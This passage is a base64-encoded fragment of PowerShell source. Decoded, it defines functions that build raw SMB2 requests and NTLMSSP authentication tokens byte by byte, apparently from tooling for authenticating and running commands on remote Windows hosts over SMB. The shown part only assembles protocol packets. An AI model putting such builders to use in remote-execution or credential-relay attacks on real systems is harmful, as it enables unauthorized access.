XJpdHlNb2RlIixbQnl0ZVtdXSgweDAxKSkNCiAgICAkcGFja2V0X1NNQjJTZXNzaW9uU2V0dXBSZXF1ZXN0LkFkZCgiU01CMlNlc3Npb25TZXR1cFJlcXVlc3RfQ2FwYWJpbGl0aWVzIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJTZXNzaW9uU2V0dXBSZXF1ZXN0LkFkZCgiU01CMlNlc3Npb25TZXR1cFJlcXVlc3RfQ2hhbm5lbCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyU2Vzc2lvblNldHVwUmVxdWVzdC5BZGQoIlNNQjJTZXNzaW9uU2V0dXBSZXF1ZXN0X1NlY3VyaXR5QnVmZmVyT2Zmc2V0IixbQnl0ZVtdXSgweDU4LDB4MDApKQ0KICAgICRwYWNrZXRfU01CMlNlc3Npb25TZXR1cFJlcXVlc3QuQWRkKCJTTUIyU2Vzc2lvblNldHVwUmVxdWVzdF9TZWN1cml0eUJ1ZmZlckxlbmd0aCIsJHBhY2tldF9zZWN1cml0eV9ibG9iX2xlbmd0aCkNCiAgICAkcGFja2V0X1NNQjJTZXNzaW9uU2V0dXBSZXF1ZXN0LkFkZCgiU01CMlNlc3Npb25TZXR1cFJlcXVlc3RfUHJldmlvdXNTZXNzaW9uSUQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyU2Vzc2lvblNldHVwUmVxdWVzdC5BZGQoIlNNQjJTZXNzaW9uU2V0dXBSZXF1ZXN0X0J1ZmZlciIsJHBhY2tldF9zZWN1cml0eV9ibG9iKQ0KDQogICAgcmV0dXJuICRwYWNrZXRfU01CMlNlc3Npb25TZXR1cFJlcXVlc3QgDQp9DQoNCmZ1bmN0aW9uIEdldC1QYWNrZXRTTUIyVHJlZUNvbm5lY3RSZXF1ZXN0KCkNCnsNCiAgICBwYXJhbShbQnl0ZVtdXSRwYWNrZXRfcGF0aCkNCg0KICAgIFtCeXRlW11dJHBhY2tldF9wYXRoX2xlbmd0aCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJHBhY2tldF9wYXRoLkxlbmd0aCkNCiAgICAkcGFja2V0X3BhdGhfbGVuZ3RoID0gJHBhY2tldF9wYXRoX2xlbmd0aFswLDFdDQoNCiAgICAkcGFja2V0X1NNQjJUcmVlQ29ubmVjdFJlcXVlc3QgPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5PcmRlcmVkRGljdGlvbmFyeQ0KICAgICRwYWNrZXRfU01CMlRyZWVDb25uZWN0UmVxdWVzdC5BZGQoIlNNQjJUcmVlQ29ubmVjdFJlcXVlc3RfU3RydWN0dXJlU2l6ZSIsW0J5dGVbXV0oMHgwOSwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJUcmVlQ29ubmVjdFJlcXVlc3QuQWRkKCJTTUIyVHJlZUNvbm5lY3RSZXF1ZXN0X1Jlc2VydmVkIixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMlRyZWVDb25uZWN0UmVxdWVzdC5BZGQoIlNNQjJUcmVlQ29ubmVjdFJlcXVlc3RfUGF0aE9mZnNldCIsW0J5dGVbXV0oMHg0OCwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJUcmVlQ29ubmVjdFJlcXVlc3QuQWRkKCJTTUIyVHJlZUNvbm5lY3RSZXF1ZXN0X1BhdGhMZW5ndGgiLCRwYWNrZXRfcGF0aF9sZW5ndGgpDQogICAgJHBhY2tldF9TTUIyVHJlZUNvbm5lY3RSZXF1ZXN0LkFkZCgiU01CMlRyZWVDb25uZWN0UmVxdWVzdF9CdWZmZXIiLCRwYWNrZXRfcGF0aCkNCg0KICAgIHJldHVybiAkcGFja2V0X1NNQjJUcmVlQ29ubmVjdFJlcXVlc3QNCn0NCg0KZnVuY3Rpb24gR2V0LVBhY2tldFNNQjJDcmVhdGVSZXF1ZXN0RmlsZSgpDQp7DQogICAgcGFyYW0oW0J5dGVbXV0kcGFja2V0X25hbWVkX3BpcGUpDQoNCiAgICAkcGFja2V0X25hbWVkX3BpcGVfbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcGFja2V0X25hbWVkX3BpcGUuTGVuZ3RoKQ0KICAgICRwYWNrZXRfbmFtZWRfcGlwZV9sZW5ndGggPSAkcGFja2V0X25hbWVkX3BpcGVfbGVuZ3RoWzAsMV0NCg0KICAgICRwYWNrZXRfU01CMkNyZWF0ZVJlcXVlc3RGaWxlID0gTmV3LU9iamVjdCBTeXN0ZW0uQ29sbGVjdGlvbnMuU3BlY2lhbGl6ZWQuT3JkZXJlZERpY3Rpb25hcnkNCiAgICAkcGFja2V0X1NNQjJDcmVhdGVSZXF1ZXN0RmlsZS5BZGQoIlNNQjJDcmVhdGVSZXF1ZXN0RmlsZV9TdHJ1Y3R1cmVTaXplIixbQnl0ZVtdXSgweDM5LDB4MDApKQ0KICAgICRwYWNrZXRfU01CMkNyZWF0ZVJlcXVlc3RGaWxlLkFkZCgiU01CMkNyZWF0ZVJlcXVlc3RGaWxlX0ZsYWdzIixbQnl0ZVtdXSgweDAwKSkNCiAgICAkcGFja2V0X1NNQjJDcmVhdGVSZXF1ZXN0RmlsZS5BZGQoIlNNQjJDcmVhdGVSZXF1ZXN0RmlsZV9SZXF1ZXN0ZWRPcGxvY2tMZXZlbCIsW0J5dGVbXV0oMHgwMCkpDQogICAgJHBhY2tldF9TTUIyQ3JlYXRlUmVxdWVzdEZpbGUuQWRkKCJTTUIyQ3JlYXRlUmVxdWVzdEZpbGVfSW1wZXJzb25hdGlvbiIsW0J5dGVbXV0oMHgwMiwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyQ3JlYXRlUmVxdWVzdEZpbGUuQWRkKCJTTUIyQ3JlYXRlUmVxdWVzdEZpbGVfU01CQ3JlYXRlRmxhZ3MiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyQ3JlYXRlUmVxdWVzdEZpbGUuQWRkKCJTTUIyQ3JlYXRlUmVxdWVzdEZpbGVfUmVzZXJ2ZWQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyQ3JlYXRlUmVxdWVzdEZpbGUuQWRkKCJTTUIyQ3JlYXRlUmVxdWVzdEZpbGVfRGVzaXJlZEFjY2VzcyIsW0J5dGVbXV0oMHgwMywweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyQ3JlYXRlUmVxdWVzdEZpbGUuQWRkKCJTTUIyQ3JlYXRlUmVxdWVzdEZpbGVfRmlsZUF0dHJpYnV0ZXMiLFtCeXRlW11dKDB4ODAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMkNyZWF0ZVJlcXVlc3RGaWxlLkFkZCgiU01CMkNyZWF0ZVJlcXVlc3RGaWxlX1NoYXJlQWNjZXNzIixbQnl0ZVtdXSgweDAxLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJDcmVhdGVSZXF1ZXN0RmlsZS5BZGQoIlNNQjJDcmVhdGVSZXF1ZXN0RmlsZV9DcmVhdGVEaXNwb3NpdGlvbiIsW0J5dGVbXV0oMHgwMSwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyQ3JlYXRlUmVxdWVzdEZpbGUuQWRkKCJTTUIyQ3JlYXRlUmVxdWVzdEZpbGVfQ3JlYXRlT3B0aW9ucyIsW0J5dGVbXV0oMHg0MCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyQ3JlYXRlUmVxdWVzdEZpbGUuQWRkKCJTTUIyQ3JlYXRlUmVxdWVzdEZpbGVfTmFtZU9mZnNldCIsW0J5dGVbXV0oMHg3OCwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJDcmVhdGVSZXF1ZXN0RmlsZS5BZGQoIlNNQjJDcmVhdGVSZXF1ZXN0RmlsZV9OYW1lTGVuZ3RoIiwkcGFja2V0X25hbWVkX3BpcGVfbGVuZ3RoKQ0KICAgICRwYWNrZXRfU01CMkNyZWF0ZVJlcXVlc3RGaWxlLkFkZCgiU01CMkNyZWF0ZVJlcXVlc3RGaWxlX0NyZWF0ZUNvbnRleHRzT2Zmc2V0IixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJDcmVhdGVSZXF1ZXN0RmlsZS5BZGQoIlNNQjJDcmVhdGVSZXF1ZXN0RmlsZV9DcmVhdGVDb250ZXh0c0xlbmd0aCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyQ3JlYXRlUmVxdWVzdEZpbGUuQWRkKCJTTUIyQ3JlYXRlUmVxdWVzdEZpbGVfQnVmZmVyIiwkcGFja2V0X25hbWVkX3BpcGUpDQoNCiAgICByZXR1cm4gJHBhY2tldF9TTUIyQ3JlYXRlUmVxdWVzdEZpbGUNCn0NCg0KZnVuY3Rpb24gR2V0LVBhY2tldFNNQjJSZWFkUmVxdWVzdCgpDQp7DQogICAgcGFyYW0gKFtCeXRlW11dJHBhY2tldF9maWxlX0lEKQ0KDQogICAgJHBhY2tldF9TTUIyUmVhZFJlcXVlc3QgPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5PcmRlcmVkRGljdGlvbmFyeQ0KICAgICRwYWNrZXRfU01CMlJlYWRSZXF1ZXN0LkFkZCgiU01CMlJlYWRSZXF1ZXN0X1N0cnVjdHVyZVNpemUiLFtCeXRlW11dKDB4MzEsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyUmVhZFJlcXVlc3QuQWRkKCJTTUIyUmVhZFJlcXVlc3RfUGFkZGluZyIsW0J5dGVbXV0oMHg1MCkpDQogICAgJHBhY2tldF9TTUIyUmVhZFJlcXVlc3QuQWRkKCJTTUIyUmVhZFJlcXVlc3RfRmxhZ3MiLFtCeXRlW11dKDB4MDApKQ0KICAgICRwYWNrZXRfU01CMlJlYWRSZXF1ZXN0LkFkZCgiU01CMlJlYWRSZXF1ZXN0X0xlbmd0aCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MTAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyUmVhZFJlcXVlc3QuQWRkKCJTTUIyUmVhZFJlcXVlc3RfT2Zmc2V0IixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMlJlYWRSZXF1ZXN0LkFkZCgiU01CMlJlYWRSZXF1ZXN0X0ZpbGVJRCIsJHBhY2tldF9maWxlX0lEKQ0KICAgICRwYWNrZXRfU01CMlJlYWRSZXF1ZXN0LkFkZCgiU01CMlJlYWRSZXF1ZXN0X01pbmltdW1Db3VudCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyUmVhZFJlcXVlc3QuQWRkKCJTTUIyUmVhZFJlcXVlc3RfQ2hhbm5lbCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyUmVhZFJlcXVlc3QuQWRkKCJTTUIyUmVhZFJlcXVlc3RfUmVtYWluaW5nQnl0ZXMiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMlJlYWRSZXF1ZXN0LkFkZCgiU01CMlJlYWRSZXF1ZXN0X1JlYWRDaGFubmVsSW5mb09mZnNldCIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJSZWFkUmVxdWVzdC5BZGQoIlNNQjJSZWFkUmVxdWVzdF9SZWFkQ2hhbm5lbEluZm9MZW5ndGgiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyUmVhZFJlcXVlc3QuQWRkKCJTTUIyUmVhZFJlcXVlc3RfQnVmZmVyIixbQnl0ZVtdXSgweDMwKSkNCg0KICAgIHJldHVybiAkcGFja2V0X1NNQjJSZWFkUmVxdWVzdA0KfQ0KDQpmdW5jdGlvbiBHZXQtUGFja2V0U01CMldyaXRlUmVxdWVzdCgpDQp7DQogICAgcGFyYW0oW0J5dGVbXV0kcGFja2V0X2ZpbGVfSUQsW0ludF0kcGFja2V0X1JQQ19sZW5ndGgpDQoNCiAgICBbQnl0ZVtdXSRwYWNrZXRfd3JpdGVfbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcGFja2V0X1JQQ19sZW5ndGggKyAyNCkNCg0KICAgICRwYWNrZXRfU01CMldyaXRlUmVxdWVzdCA9IE5ldy1PYmplY3QgU3lzdGVtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkLk9yZGVyZWREaWN0aW9uYXJ5DQogICAgJHBhY2tldF9TTUIyV3JpdGVSZXF1ZXN0LkFkZCgiU01CMldyaXRlUmVxdWVzdF9TdHJ1Y3R1cmVTaXplIixbQnl0ZVtdXSgweDMxLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMldyaXRlUmVxdWVzdC5BZGQoIlNNQjJXcml0ZVJlcXVlc3RfRGF0YU9mZnNldCIsW0J5dGVbXV0oMHg3MCwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJXcml0ZVJlcXVlc3QuQWRkKCJTTUIyV3JpdGVSZXF1ZXN0X0xlbmd0aCIsJHBhY2tldF93cml0ZV9sZW5ndGgpDQogICAgJHBhY2tldF9TTUIyV3JpdGVSZXF1ZXN0LkFkZCgiU01CMldyaXRlUmVxdWVzdF9PZmZzZXQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyV3JpdGVSZXF1ZXN0LkFkZCgiU01CMldyaXRlUmVxdWVzdF9GaWxlSUQiLCRwYWNrZXRfZmlsZV9JRCkNCiAgICAkcGFja2V0X1NNQjJXcml0ZVJlcXVlc3QuQWRkKCJTTUIyV3JpdGVSZXF1ZXN0X0NoYW5uZWwiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMldyaXRlUmVxdWVzdC5BZGQoIlNNQjJXcml0ZVJlcXVlc3RfUmVtYWluaW5nQnl0ZXMiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMldyaXRlUmVxdWVzdC5BZGQoIlNNQjJXcml0ZVJlcXVlc3RfV3JpdGVDaGFubmVsSW5mb09mZnNldCIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJXcml0ZVJlcXVlc3QuQWRkKCJTTUIyV3JpdGVSZXF1ZXN0X1dyaXRlQ2hhbm5lbEluZm9MZW5ndGgiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyV3JpdGVSZXF1ZXN0LkFkZCgiU01CMldyaXRlUmVxdWVzdF9GbGFncyIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQoNCiAgICByZXR1cm4gJHBhY2tldF9TTUIyV3JpdGVSZXF1ZXN0DQp9DQoNCmZ1bmN0aW9uIEdldC1QYWNrZXRTTUIyQ2xvc2VSZXF1ZXN0KCkNCnsNCiAgICBwYXJhbSAoW0J5dGVbXV0kcGFja2V0X2ZpbGVfSUQpDQoNCiAgICAkcGFja2V0X1NNQjJDbG9zZVJlcXVlc3QgPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5PcmRlcmVkRGljdGlvbmFyeQ0KICAgICRwYWNrZXRfU01CMkNsb3NlUmVxdWVzdC5BZGQoIlNNQjJDbG9zZVJlcXVlc3RfU3RydWN0dXJlU2l6ZSIsW0J5dGVbXV0oMHgxOCwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJDbG9zZVJlcXVlc3QuQWRkKCJTTUIyQ2xvc2VSZXF1ZXN0X0ZsYWdzIixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMkNsb3NlUmVxdWVzdC5BZGQoIlNNQjJDbG9zZVJlcXVlc3RfUmVzZXJ2ZWQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMkNsb3NlUmVxdWVzdC5BZGQoIlNNQjJDbG9zZVJlcXVlc3RfRmlsZUlEIiwkcGFja2V0X2ZpbGVfSUQpDQoNCiAgICByZXR1cm4gJHBhY2tldF9TTUIyQ2xvc2VSZXF1ZXN0DQp9DQoNCmZ1bmN0aW9uIEdldC1QYWNrZXRTTUIyVHJlZURpc2Nvbm5lY3RSZXF1ZXN0KCkNCnsNCiAgICAkcGFja2V0X1NNQjJUcmVlRGlzY29ubmVjdFJlcXVlc3QgPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5PcmRlcmVkRGljdGlvbmFyeQ0KICAgICRwYWNrZXRfU01CMlRyZWVEaXNjb25uZWN0UmVxdWVzdC5BZGQoIlNNQjJUcmVlRGlzY29ubmVjdFJlcXVlc3RfU3RydWN0dXJlU2l6ZSIsW0J5dGVbXV0oMHgwNCwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJUcmVlRGlzY29ubmVjdFJlcXVlc3QuQWRkKCJTTUIyVHJlZURpc2Nvbm5lY3RSZXF1ZXN0X1Jlc2VydmVkIixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KDQogICAgcmV0dXJuICRwYWNrZXRfU01CMlRyZWVEaXNjb25uZWN0UmVxdWVzdA0KfQ0KDQpmdW5jdGlvbiBHZXQtUGFja2V0U01CMlNlc3Npb25Mb2dvZmZSZXF1ZXN0KCkNCnsNCiAgICAkcGFja2V0X1NNQjJTZXNzaW9uTG9nb2ZmUmVxdWVzdCA9IE5ldy1PYmplY3QgU3lzdGVtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkLk9yZGVyZWREaWN0aW9uYXJ5DQogICAgJHBhY2tldF9TTUIyU2Vzc2lvbkxvZ29mZlJlcXVlc3QuQWRkKCJTTUIyU2Vzc2lvbkxvZ29mZlJlcXVlc3RfU3RydWN0dXJlU2l6ZSIsW0J5dGVbXV0oMHgwNCwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJTZXNzaW9uTG9nb2ZmUmVxdWVzdC5BZGQoIlNNQjJTZXNzaW9uTG9nb2ZmUmVxdWVzdF9SZXNlcnZlZCIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCg0KICAgIHJldHVybiAkcGFja2V0X1NNQjJTZXNzaW9uTG9nb2ZmUmVxdWVzdA0KfQ0KDQojTlRMTQ0KDQpmdW5jdGlvbiBHZXQtUGFja2V0TlRMTVNTUE5lZ290aWF0ZSgpDQp7DQogICAgcGFyYW0oW0J5dGVbXV0kcGFja2V0X25lZ290aWF0ZV9mbGFncyxbQnl0ZVtdXSRwYWNrZXRfdmVyc2lvbikNCg0KICAgIFtCeXRlW11dJHBhY2tldF9OVExNU1NQX2xlbmd0aCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoMzIgKyAkcGFja2V0X3ZlcnNpb24uTGVuZ3RoKQ0KICAgICRwYWNrZXRfTlRMTVNTUF9sZW5ndGggPSAkcGFja2V0X05UTE1TU1BfbGVuZ3RoWzBdDQogICAgW0J5dGVbXV0kcGFja2V0X0FTTl9sZW5ndGhfMSA9ICRwYWNrZXRfTlRMTVNTUF9sZW5ndGhbMF0gKyAzMg0KICAgIFtCeXRlW11dJHBhY2tldF9BU05fbGVuZ3RoXzIgPSAkcGFja2V0X05UTE1TU1BfbGVuZ3RoWzBdICsgMjINCiAgICBbQnl0ZVtdXSRwYWNrZXRfQVNOX2xlbmd0aF8zID0gJHBhY2tldF9OVExNU1NQX2xlbmd0aFswXSArIDIwDQogICAgW0J5dGVbXV0kcGFja2V0X0FTTl9sZW5ndGhfNCA9ICRwYWNrZXRfTlRMTVNTUF9sZW5ndGhbMF0gKyAyDQoNCiAgICAkcGFja2V0X05UTE1TU1BOZWdvdGlhdGUgPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5PcmRlcmVkRGljdGlvbmFyeQ0KICAgICRwYWNrZXRfTlRMTVNTUE5lZ290aWF0ZS5BZGQoIk5UTE1TU1BOZWdvdGlhdGVfSW5pdGlhbENvbnRleHRUb2tlbklEIixbQnl0ZVtdXSgweDYwKSkgIyB0aGUgQVNOLjEga2V5IG5hbWVzIGFyZSBsaWtlbHkgbm90IGFsbCBjb3JyZWN0DQogICAgJHBhY2tldF9OVExNU1NQTmVnb3RpYXRlLkFkZCgiTlRMTVNTUE5lZ290aWF0ZV9Jbml0aWFsY29udGV4dFRva2VuTGVuZ3RoIiwkcGFja2V0X0FTTl9sZW5ndGhfMSkNCiAgICAkcGFja2V0X05UTE1TU1BOZWdvdGlhdGUuQWRkKCJOVExNU1NQTmVnb3RpYXRlX1RoaXNNZWNoSUQiLFtCeXRlW11dKDB4MDYpKQ0KICAgICRwYWNrZXRfTlRMTVNTUE5lZ290aWF0ZS5BZGQoIk5UTE1TU1BOZWdvdGlhdGVfVGhpc01lY2hMZW5ndGgiLFtCeXRlW11dKDB4MDYpKQ0KICAgICRwYWNrZXRfTlRMTVNTUE5lZ290aWF0ZS5BZGQoIk5UTE1TU1BOZWdvdGlhdGVfT0lEIixbQnl0ZVtdXSgweDJiLDB4MDYsMHgwMSwweDA1LDB4MDUsMHgwMikpDQogICAgJHBhY2tldF9OVExNU1NQTmVnb3RpYXRlLkFkZCgiTlRMTVNTUE5lZ290aWF0ZV9Jbm5lckNvbnRleHRUb2tlbklEIixbQnl0ZVtdXSgweGEwKSkNCiAgICAkcGFja2V0X05UTE1TU1BOZWdvdGlhdGUuQWRkKCJOVExNU1NQTmVnb3RpYXRlX0lubmVyQ29udGV4dFRva2VuTGVuZ3RoIiwkcGFja2V0X0FTTl9sZW5ndGhfMikNCiAgICAkcGFja2V0X05UTE1TU1BOZWdvdGlhdGUuQWRkKCJOVExNU1NQTmVnb3RpYXRlX0lubmVyQ29udGV4dFRva2VuSUQyIixbQnl0ZVtdXSgweDMwKSkNCiAgICAkcGFja2V0X05UTE1TU1BOZWdvdGlhdGUuQWRkKCJOVExNU1NQTmVnb3RpYXRlX0lubmVyQ29udGV4dFRva2VuTGVuZ3RoMiIsJHBhY2tldF9BU05fbGVuZ3RoXzMpDQogICAgJHBhY2tldF9OVExNU1NQTmVnb3RpYXRlLkFkZCgiTlRMTVNTUE5lZ290aWF0ZV9NZWNoVHlwZXNJRCIsW0J5dGVbXV0oMHhhMCkpDQogICAgJHBhY2tldF9OVExNU1NQTmVnb3RpYXRlLkFkZCgiTlRMTVNTUE5lZ290aWF0ZV9NZWNoVHlwZXNMZW5ndGgiLFtCeXRlW11dKDB4MGUpKQ0KICAgICRwYWNrZXRfTlRMTVNTUE5lZ290aWF0ZS5BZGQoIk5UTE1TU1BOZWdvdGlhdGVfTWVjaFR5cGVzSUQyIixbQnl0ZVtdXSgweDMwKSkNCiAgICAkcGFja2V0X05UTE1TU1BOZWdvdGlhdGUuQWRkKCJOVExNU1NQTmVnb3RpYXRlX01lY2hUeXBlc0xlbmd0aDIiLFtCeXRlW11dKDB4MGMpKQ0KICAgICRwYWNrZXRfTlRMTVNTUE5lZ290aWF0ZS5BZGQoIk5UTE1TU1BOZWdvdGlhdGVfTWVjaFR5cGVzSUQzIixbQnl0ZVtdXSgweDA2KSkNCiAgICAkcGFja2V0X05UTE1TU1BOZWdvdGlhdGUuQWRkKCJOVExNU1NQTmVnb3RpYXRlX01lY2hUeXBlc0xlbmd0aDMiLFtCeXRlW11dKDB4MGEpKQ0KICAgICRwYWNrZXRfTlRMTVNTUE5lZ290aWF0ZS5BZGQoIk5UTE1TU1BOZWdvdGlhdGVfTWVjaFR5cGUiLFtCeXRlW11dKDB4MmIsMHgwNiwweDAxLDB4MDQsMHgwMSwweDgyLDB4MzcsMHgwMiwweDAyLDB4MGEpKQ0KICAgICRwYWNrZXRfTlRMTVNTUE5lZ290aWF0ZS5BZGQoIk5UTE1TU1BOZWdvdGlhdGVfTWVjaFRva2VuSUQiLFtCeXRlW11dKDB4YTIpKQ0KICAgICRwYWNrZXRfTlRMTVNTUE5lZ290aWF0ZS5BZGQoIk5UTE1TU1BOZWdvdGlhdGVfTWVjaFRva2VuTGVuZ3RoIiwkcGFja2V0X0FTTl9sZW5ndGhfNCkNCiAgICAkcGFja2V0X05UTE1TU1BOZWdvdGlhdGUuQWRkKCJOVExNU1NQTmVnb3RpYXRlX05UTE1TU1BJRCIsW0J5dGVbXV0oMHgwNCkpDQogICAgJHBhY2tldF9OVExNU1NQTmVnb3RpYXRlLkFkZCgiTlRMTVNTUE5lZ290aWF0ZV9OVExNU1NQTGVuZ3RoIiwkcGFja2V0X05UTE1TU1BfbGVuZ3RoKQ0KICAgICRwYWNrZXRfTlRMTVNTUE5lZ290aWF0ZS5BZGQoIk5UTE1TU1BOZWdvdGlhdGVfSWRlbnRpZmllciIsW0J5dGVbXV0oMHg0ZSwweDU0LDB4NGMsMHg0ZCwweDUzLDB4NTMsMHg1MCwweDAwKSkNCiAgICAkcGFja2V0X05UTE1TU1BOZWdvdGlhdGUuQWRkKCJOVExNU1NQTmVnb3RpYXRlX01lc3NhZ2VUeXBlIixbQnl0ZVtdXSgweDAxLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X05UTE1TU1BOZWdvdGlhdGUuQWRkKCJOVExNU1NQTmVnb3RpYXRlX05lZ290aWF0ZUZsYWdzIiwkcGFja2V0X25lZ290aWF0ZV9mbGFncykNCiAgICAkcGFja2V0X05UTE1TU1BOZWdvdGlhdGUuQWRkKCJOVExNU1NQTmVnb3RpYXRlX0NhbGxpbmdXb3Jrc3RhdGlvbkRvbWFpbiIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X05UTE1TU1BOZWdvdGlhdGUuQWRkKCJOVExNU1NQTmVnb3RpYXRlX0NhbGxpbmdXb3Jrc3RhdGlvbk5hbWUiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQoNCiAgICBpZigkcGFja2V0X3ZlcnNpb24pDQogICAgew0KICAgICAgICAkcGFja2V0X05UTE1TU1BOZWdvdGlhdGUuQWRkKCJOVExNU1NQTmVnb3RpYXRlX1ZlcnNpb24iLCRwYWNrZXRfdmVyc2lvbikNCiAgICB9DQoNCiAgICByZXR1cm4gJHBhY2tldF9OVExNU1NQTmVnb3RpYXRlDQp9DQoNCmZ1bmN0aW9uIEdldC1QYWNrZXROVExNU1NQQXV0aCgpDQp7DQogICAgcGFyYW0oW0J5dGVbXV0kcGFja2V0X05UTE1fcmVzcG9uc2UpDQoNCiAgICBbQnl0ZVtdXSRwYWNrZXRfTlRMTVNTUF9sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRwYWNrZXRfTlRMTV9yZXNwb25zZS5MZW5ndGgpDQogICAgJHBhY2tldF9OVExNU1NQX2xlbmd0aCA9ICRwYWNrZXRfTlRMTVNTUF9sZW5ndGhbMSwwXQ0KICAgIFtCeXRlW11dJHBhY2tldF9BU05fbGVuZ3RoXzEgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRwYWNrZXRfTlRMTV9yZXNwb25zZS5MZW5ndGggKyAxMikNCiAgICAkcGFja2V0X0FTTl9sZW5ndGhfMSA9ICRwYWNrZXRfQVNOX2xlbmd0aF8xWzEsMF0NCiAgICBbQnl0ZVtdXSRwYWNrZXRfQVNOX2xlbmd0aF8yID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcGFja2V0X05UTE1fcmVzcG9uc2UuTGVuZ3RoICsgOCkNCiAgICAkcGFja2V0X0FTTl9sZW5ndGhfMiA9ICRwYWNrZXRfQVNOX2xlbmd0aF8yWzEsMF0NCiAgICBbQnl0ZVtdXSRwYWNrZXRfQVNOX2xlbmd0aF8zID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcGFja2V0X05UTE1fcmVzcG9uc2UuTGVuZ3RoICsgNCkNCiAgICAkcGFja2V0X0FTTl9sZW5ndGhfMyA9ICRwYWNrZXRfQVNOX2xlbmd0aF8zWzEsMF0NCg0KICAgICRwYWNrZXRfTlRMTVNTUEF1dGggPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5PcmRlcmVkRGljdGlvbmFyeQ0KICAgICRwYWNrZXRfTlRMTVNTUEF1dGguQWRkKCJOVExNU